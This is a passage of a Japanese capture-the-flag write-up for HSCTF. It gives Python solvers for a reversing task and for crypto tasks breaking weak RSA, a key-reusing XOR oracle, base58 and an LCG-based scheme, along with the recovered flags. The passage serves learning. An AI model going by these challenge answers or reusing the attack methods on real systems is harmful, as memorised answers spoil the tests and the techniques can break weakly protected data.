out: [-35, 1, -2, -5, 4, 2, 9, 4, 3, -7, 2, -5, 4, -1, 1, -8, 3, -6, 5, 5, 6, -5, 8, -3, 10, -1, 10, 5, -8, 7, -6, 9, -4, 11, -6]

ダウンロードしたコードを読むと全探索は難しいように思えますが，入力文字列の変換結果は後続の文字の変換結果に影響を与えないため全探索可能です．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import math
import string

lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))

def nice_math(x, y):
    return round(x + y*math.cos(math.pi * x))

def get_number(char):
    return ord(char) - 96

def calc(f, n):
    index = 0
    out = []
    for i in range(0, 12):
        for j in lots_of_nums(nice_math(get_number(f[i]), 12 - i), i + 1):
            out.append(nice_math(j, i + 1))
        if i == n:
            index = len(out)
    return out, index


ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10,
            3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3,
            10, -1, 12, 10, 7, -6, 9, -4, 11, -2,
            13, -2, -11, 6, -9, 8, -7, 10, -5, 12,
            1, -12, 7, -10, 9, -8, 11, -6, 13, -4,
            11, 6, -13, 8, -11, 10, -9, 12, -7, 14,
            -5, 22, -16, 7, -14, 9, -12, 11, -10, 13,
            -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8,
            -15, 10, -13, 12, -11, 5]

flag = ''

for i in range(12):
    for s in string.printable:
        out, index = calc(flag + s + '*' * (12- len(flag + s)) ,i)
        if out[:index] == ans[:index]:
            flag += s
            break

print(flag)

> python solve.py
:hyperthonk:

> python trig_is_really_hard.py
Enter the text: :hyperthonk:
That is correct! Flag: hsctf{:hyperthonk:}
inp: :hyperthonk:
out: [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]

hsctf{:hyperthonk:}

Cryptography

Reverse Search Algorithm [128pts, 419solves]

Reverse Search Algorithm

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
e = 65537
c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777

アプローチ：factordb

factordbでnを素因数分解して普通にRSAの復号化処理を書きます．

factordb.com

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import *

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
p = 29
q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453
e = 65537
c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

print(long_to_bytes(pow(c, d, n)))

hsctf{y3s_rsa_1s_s0lved_10823704961253}

Super Secure System [188pts, 286solves]

Keith made a SUPER SECURE SYSTEM!!! He claims it is so secure as long as he doesn't reuse his key...

nc crypto.hsctf.com 8111

アプローチ：全探索

> nc crypto.hsctf.com 8111
* * * SUPER SECURE SYSTEM * * *
My encryption system is impossible to crack if used once!
You can use this system to encrypt any of your messages with my super special key!!!
Here is my super secret message: 0a38055c58490e77141c5c0a090d447515085753134829453762537e2a0154585d230f697a087e5d2c35150547570c3c035b410130

Enter the message you want to encrypt: CawaYui

Encrypted: 212a114967470f

Enter the message you want to encrypt: hs

Encrypted: 0a38

Enter the message you want to encrypt: hsctf{

Encrypted: 0a38055c5849

上記の結果を見る限り全探索可能だということが分かります．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from socket import *
import string

s = socket(AF_INET, SOCK_STREAM)
s.connect(('crypto.hsctf.com', 8111))

def recvuntil(msg):
    rec = ''
    while msg not in rec:
        rec = s.recv(1024).decode('utf-8')

    return rec

def main():
    flag = 'hsctf{'
    rec = recvuntil('message')
    encode_flag = rec.split(': ')[1].split('\n')[0]

    print(encode_flag)

    for _ in range(47):
        for x in string.printable:
            s.send((flag + x).encode('utf-8') + b'\n')
            rec = recvuntil('Encrypted:')
            enc = rec.split('\n')[1].split(': ')[1]
            if enc in encode_flag:
                flag += x
                print(flag)
                break

if __name__ == '__main__':
    main()

> python solve.py
1f24095c43201f164f7f24142f6b4e100c075c4d4f2c4800664217493c1e7a260c3d592f7542455f495b04010216606a274d503259
hsctf{h
hsctf{h0
hsctf{h0w
hsctf{h0w_
hsctf{h0w_d
hsctf{h0w_d3
hsctf{h0w_d3d
hsctf{h0w_d3d_
hsctf{h0w_d3d_y
hsctf{h0w_d3d_y3
hsctf{h0w_d3d_y3u
hsctf{h0w_d3d_y3u_
hsctf{h0w_d3d_y3u_d
hsctf{h0w_d3d_y3u_de
hsctf{h0w_d3d_y3u_de3
hsctf{h0w_d3d_y3u_de3c
hsctf{h0w_d3d_y3u_de3cr
hsctf{h0w_d3d_y3u_de3cry
hsctf{h0w_d3d_y3u_de3cryP
hsctf{h0w_d3d_y3u_de3cryP4
hsctf{h0w_d3d_y3u_de3cryP4_
hsctf{h0w_d3d_y3u_de3cryP4_t
hsctf{h0w_d3d_y3u_de3cryP4_th
hsctf{h0w_d3d_y3u_de3cryP4_th3
hsctf{h0w_d3d_y3u_de3cryP4_th3_
hsctf{h0w_d3d_y3u_de3cryP4_th3_s
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3c
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cu
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m3
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m35
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}

hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}

Massive RSA [249pts, 203solves]

I was scared that my RSA would be broken, so I made sure that the numbers were massive.

n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551
e = 65537
c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943

アプローチ：factordb

factordbにnを投げると素数だということが分かります(通常のRSAであればnは2つの素数の積)．

factordb.com

そのため，totient関数の計算を少し工夫するだけでcを復号できます．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import *

n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551
e = 65537
c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943

phi = n - 1

d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

hsctf{forg0t_t0_mult1ply_prim3s}

Really Secure Algorithm [306pts, 146solves]

I heard about RSA, so I took a go at implementing it.

n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847

アプローチ：factordb

factordbにnを投げるとnは1つの素数の2乗であることが分かります．

factordb.com

したがってこのRSAの復号処理はsqrt(n)だけでも成り立ちます(Massive RSAと同様の処理を行う)．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import *

n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847

p = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647

phi = p - 1
d = inverse(e , phi)
m = pow(c, d, p)

print(long_to_bytes(m))

hsctf{square_number_time}

Welcome to Crypto Land [332pts, 125solves]

Crypto land is fun! Decrypt:

KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiN ep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84

アプローチ：base58

encode文字列はbase64のように見えますが0,O,I,l,+,/が登場していなことからbase58(ビットコインのアドレスとかで使われるアレ)だということが分かります(エスパー)．

www.browserling.com

Welcome to HSCTF! 
This is your flag: hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

クソエスパー問題か？と思いましたがFirst Solveだったので神問題に認定しました（は？

Tux's Kitchen [398pts, 73solves]

I need to bake it!

nc crypto.hsctf.com 8112

problem.py

import random

good_image = """
              TUX's KITCHEN
                    ..- - .              
                   '        `.           
                  '.- .  .--. .          
                 |: _ | :  _ :|          
                 |`(@)--`.(@) |          
                 : .'     `-, :          
                 :(_____.-'.' `          
                 : `-.__.-'   :          
                 `  _.    _.   .         
                /  /  `_ '  \\    .       
               .  :          \\   \\      
              .  : _      __  .\\   .     
             .  /             : `.  \\    
            :  /      '        : `.  .   
           '  `      :          : :  `.  
         .`_ :       :          / '   |  
         :' \\ .      :           '__  :  
      .--'   \\`-._    .      .' :    `).  
    ..|       \\   )          :   '._.'  : 
   ;           \\-'.        ..:         / 
   '.           \\  - ....-   |        '  
      -.         :   _____   |      .'   
        ` -.    .'--       --`.   .'     
            `--                --    
"""

flag = open('flag.txt','r').read()
MY_LUCKY_NUMBER = 29486316

# I need to bake special stuff!
def bake_it():
    s = 0
    for i in range(random.randint(10000,99999)):
        s = random.randint(100000000000,999999999999)
    s -= random.randint(232,24895235)
    return random.randint(100000000000,999999999999)

# Create my random mess
def rand0m_mess(food,key):
    mess = []
    mess.append(key)
    art = key
    bart = bake_it()
    cart = bake_it()
    dart = bake_it()
    for i in range(len(food)-1):
        art = (art*bart+cart)%dart
        mess.append(art)
    return mess

# Gotta prepare the food!!!
def prepare(food):
    good_food = []
    for i in range(len(food)):
        good_food.append(food[i]^MY_LUCKY_NUMBER)
    for k in range(len(good_food)):
        good_food[i] += MY_LUCKY_NUMBER
    return good_food

# Bake it!!!
def final_baking(food,key):
    baked = rand0m_mess(food,key)
    treasure = []
    for i in range(len(baked)):
        treasure.append(ord(food[i])*baked[i])
    treasure = prepare(treasure)
    return treasure

print(good_image)
key = bake_it()
print(final_baking(flag,key))

アプローチ：探索空間が小さい方で全探索 + 積集合とってエスパーにかかる労力を減らす

ncすると乱数を使ってガチャガチャしたflagが表示されます．

>  nc crypto.hsctf.com 8112

                TUX's KITCHEN
                    ..- - .
                   '        `.
                  '.- .  .--. .
                 |: _ | :  _ :|
                 |`(@)--`.(@) |
                 : .'     `-, :
                 :(_____.-'.' `
                 : `-.__.-'   :
                 `  _.    _.   .
                /  /  `_ '  \    .
               .  :          \   \
              .  : _      __  .\   .
             .  /             : `.  \
            :  /      '        : `.  .
           '  `      :          : :  `.
         .`_ :       :          / '   |
         :' \ .      :           '__  :
      .--'   \`-._    .      .' :    `).
    ..|       \   )          :   '._.'  :
   ;           \-'.        ..:         /
   '.           \  - ....-   |        '
      -.         :   _____   |      .'
        ` -.    .'--       --`.   .'
            `--                --
[17194977400636, 48303382477175L, 39878373749538L, 44266703715600L, 22738624740128L, 19888884475166L, 34092722107980L, 6176803154964L, 40623858089828L, 7500507542459L, 28421002647382L, 3961982815071L, 17633971940132L, 2969502745636L, 16255651497716L, 46449814003489L, 46020816458559L, 45121229358808L, 39703104041579L, 20136789542683L, 16029594724206L, 49649134929282L, 50475832974535L, 7341001537820L, 37721124668160L, 37167886468752L, 21121976596663L, 47979081736743L, 20042418611574L, 2841338327180L, 40210869390386L, 42264434414490L, 11547623518418L, 45457550248960L, 4157976317748L, 5357451259192L, 30569684053464L, 46841284273180L, 12460909449488L, 15193592347060L, 32325833940791L, 30342675659711L, 28853829410832L, 19568227374220L, 44402845686262L, 14489878688119L, 39351877139455L, 45361420231903L, 38276781108440L, 28521652368839L, 41623800101178L, 2720524226995L, 49206973416588L, 17300772114628L, 39415291689435L, 37377787606478L, 7471016453306L, 34556724690114L, 18704732671180L, 31812868069960L, 11722450348856L, 49522283160763L, 23522015876150L, 2929891923729L, 38377436977932L, 15826466995730L, 14053037946498L, 2699915825484L, 10072763544037L, 9805047166567L, 4658687058486L]

復号処理を考えていきます．
まずprepare()についてですが，これはMY_LUCKY_NUMBERを使ってXORをとったり，flagの最後の文字にだけMY_LUCKY_NUMBER足したりしているだけなので復号処理は簡単に行なえます．
次にfinal_baking()についてですがこれはflagに乱数を乗ずる処理を行っています．final_baking()で使用されているrand0m_mess()で生成される乱数には一応規則性があるようなのですがこの処理はmod上で 行われているので簡単にbakedを得ることはできません．しかし，flag空間は乱数空間よりも小さいため，候補となる文字を複数のtreasureを使って探索し，探索結果の積集合をとることでflagを復号できます．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import string

t1 = [30052022677604, 660532811420, 8257504728025, 6810193751604, 19446001276578, 17114895685900, 178587132032, 10809928513612, 5388609631763, 1098238179014, 4358132478799, 8190711042324, 2148874347641, 9832645847742, 9673148763708, 12147345240316, 2101653652545, 15762261136384, 11941850075122, 6416941980476, 6811232126186, 16049066835950, 11881544676207, 2980378140836, 5173021295996, 16178158210928, 8168326362479, 11865598916930, 20816516766450, 6696144728212, 1111108897324, 12751689168404, 19273867995603, 14861171840944, 2958146808273, 13232193654834, 9136495314227, 3758728948332, 1932710854649, 4684622289554, 1306689860537, 5450494230140, 3882220711289, 277544152556, 276867454271, 20225836206268, 9628560815676, 2874035023828, 10118308917123, 25966707591936, 15194474027577, 13634427711064, 22297713267354, 1204968246400, 16893694175178, 764253185344, 5391089201857, 285819861500, 10615720087435, 6424805780468, 4948983807421, 19922837110034, 21555428591338, 21840741242292, 14631749387247, 12928301897736, 24298254088015, 10707489263432, 6933445850437, 3222989857836]
t2 = [48298608610660, 63801875710839, 2219793210659, 34706546154744, 22398203218946, 64841372444815, 37857248005512, 34646232854660, 5336064197513, 16864826850031, 14155405651399, 27157865123741, 14075818788379, 39447399354211, 16645260547740, 61455374787906, 7382113262429, 41846584308435, 33608996912066, 29652088733999, 65435024106870, 63345995434045, 52039052565823, 19771264368544, 19653871974172, 40512470576306, 53219413843207, 50602868530795, 7993832696242, 46569264873504, 24381684703660, 7436172063723, 54852568978207, 16934676971070, 24188776408995, 25987782161279, 26836217016217, 22955298425492, 1251177872395, 11353714553831, 17361638118527, 29172075776632, 234871523669, 26732201634772, 46928638782431, 40517347640736, 13226302175260, 34093033674010, 25689444778499, 47562321823878, 21160233228095, 46338503027082, 69976947004258, 39585706910393, 31236580043862, 30945985430749, 14642680910151, 17995657440320, 42854204761591, 29364459581122, 26564829378961, 32755809877499, 47736752486226, 29472466642880, 37242061266041, 4047436410467, 16589158819747, 18096929582579, 19525010686337, 33508164932153]
t3 = [82632803339244, 2160560573182, 9434575671568, 18759589745924, 10857198324812, 14026036408786, 9072087688780, 6130061870940, 3982746749728, 21736932242666, 4962711933604, 18374587234, 21935558988868, 12336450124762, 7750512314156, 3616212478200, 8265632798588, 13205295777598, 482727563740, 7410103594682, 3851274666948, 17996309615718, 14636413793300, 7883492759604, 4999621614700, 18159884904592, 15950269515932, 5239187740866, 11859267904692, 4767991173764, 8978739156972, 4950905134834, 9334788623532, 10784831424248, 902782284932, 12819477795414, 5376044272812, 171404400028, 8563027689228, 8790130084778, 7440967598680, 1427779847236, 5625341265112, 20709284889948, 17825063031320, 21828619888932, 8068061444588, 11790116597432, 5589618365496, 11592812860224, 6584038259284, 17624520878904, 3421838935652, 13252464505114, 2386029051956, 7265804832162, 13136002789328, 4114340288548, 10374948866164, 17773940203776, 5707573562924, 13527791098990, 3328380457204, 15070199229572, 13259252052396, 11867076474026, 17286925343808, 8753828489362, 3831336955184, 14194544802210]

MY_LUCKY_NUMBER = 29486316

search_range = string.ascii_letters + string.digits + '{}_!@'

def reversePrepare(good_food):
    food = []
    for _ in range(len(good_food)):
        good_food[-1] -= MY_LUCKY_NUMBER

    for i in range(len(good_food)):
        food.append(good_food[i] ^ MY_LUCKY_NUMBER)

    return food

def searchMatchingChar(f):
    match = set()
    for s in search_range:
        if f % ord(s) == 0:
            match.add(s)

    return match

def main():
    rev_t1 = reversePrepare(t1)
    rev_t2 = reversePrepare(t2)
    rev_t3 = reversePrepare(t3)
    flag = ''

    for f1,f2,f3 in zip(rev_t1, rev_t2, rev_t3):
        print('-' * 50)
        m1 = searchMatchingChar(f1)
        m2 = searchMatchingChar(f2)
        m3 = searchMatchingChar(f3)
        m_set = m1 & m2 & m3
        print(m_set)
        if len(m_set) == 1:
            flag += list(m_set)[0]
        else:
            flag += '*'
    print('-' * 50)
    print(flag)

if __name__ == '__main__':
    main()

> python solve.py
--------------------------------------------------
{'4', 'h'}
--------------------------------------------------
{'s'}
--------------------------------------------------
{'!', 'c'}
--------------------------------------------------
{'t'}
--------------------------------------------------
{'3', 'f'}
--------------------------------------------------
{'{'}
--------------------------------------------------
{'t'}
--------------------------------------------------
{'4', 'h'}
--------------------------------------------------
{'1'}
--------------------------------------------------
{'s'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'1'}
--------------------------------------------------
{'s'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'0'}
--------------------------------------------------
{'n', '7'}
--------------------------------------------------
{'e'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'v'}
--------------------------------------------------
{'3'}
--------------------------------------------------
{'9', 'r'}
--------------------------------------------------
{'y'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'l', '6'}
--------------------------------------------------
{'0'}
--------------------------------------------------
{'n', '7'}
--------------------------------------------------
{'g'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'3', 'f'}
--------------------------------------------------
{'l', '6'}
--------------------------------------------------
{'@'}
--------------------------------------------------
{'g'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'1', 'b'}
--------------------------------------------------
{'3'}
--------------------------------------------------
{'!', 'c'}
--------------------------------------------------
{'a'}
--------------------------------------------------
{'8'}
--------------------------------------------------
{'s'}
--------------------------------------------------
{'3'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'t'}
--------------------------------------------------
{'5'}
--------------------------------------------------
{'x'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'l', '6'}
--------------------------------------------------
{'0'}
--------------------------------------------------
{'v'}
--------------------------------------------------
{'3'}
--------------------------------------------------
{'z'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'v'}
--------------------------------------------------
{'v'}
--------------------------------------------------
{'e'}
--------------------------------------------------
{'R'}
--------------------------------------------------
{'9'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'L'}
--------------------------------------------------
{'O'}
--------------------------------------------------
{'n', '7'}
--------------------------------------------------
{'9'}
--------------------------------------------------
{'_'}
--------------------------------------------------
{'3', 'f'}
--------------------------------------------------
{'l', '6'}
--------------------------------------------------
{'a'}
--------------------------------------------------
{'G'}
--------------------------------------------------
{'s'}
--------------------------------------------------
{'7'}
--------------------------------------------------
{'!'}
--------------------------------------------------
{'}'}
--------------------------------------------------
*s*t*{t*1s_1s_0*e_v3*y_*0*g_**@g_*3*a8s3_t5x_*0v3z_vveR9_LO*9_**aGs7!}

あとは*をエスパーすればflagを得ることができます．

hsctf{th1s_1s_0ne_v3ry_l0ng_fl@g_b3ca8s3_t5x_l0v3z_vveR9_LOn9_flaGs7!}

まとめ

• 簡単な問題しかとけなかった
• エスパー問題多すぎないですか？
• いい加減ECCをしっかり理解するべき
• Web, Pwnが分からなすぎる
• Web, Pwnを勉強します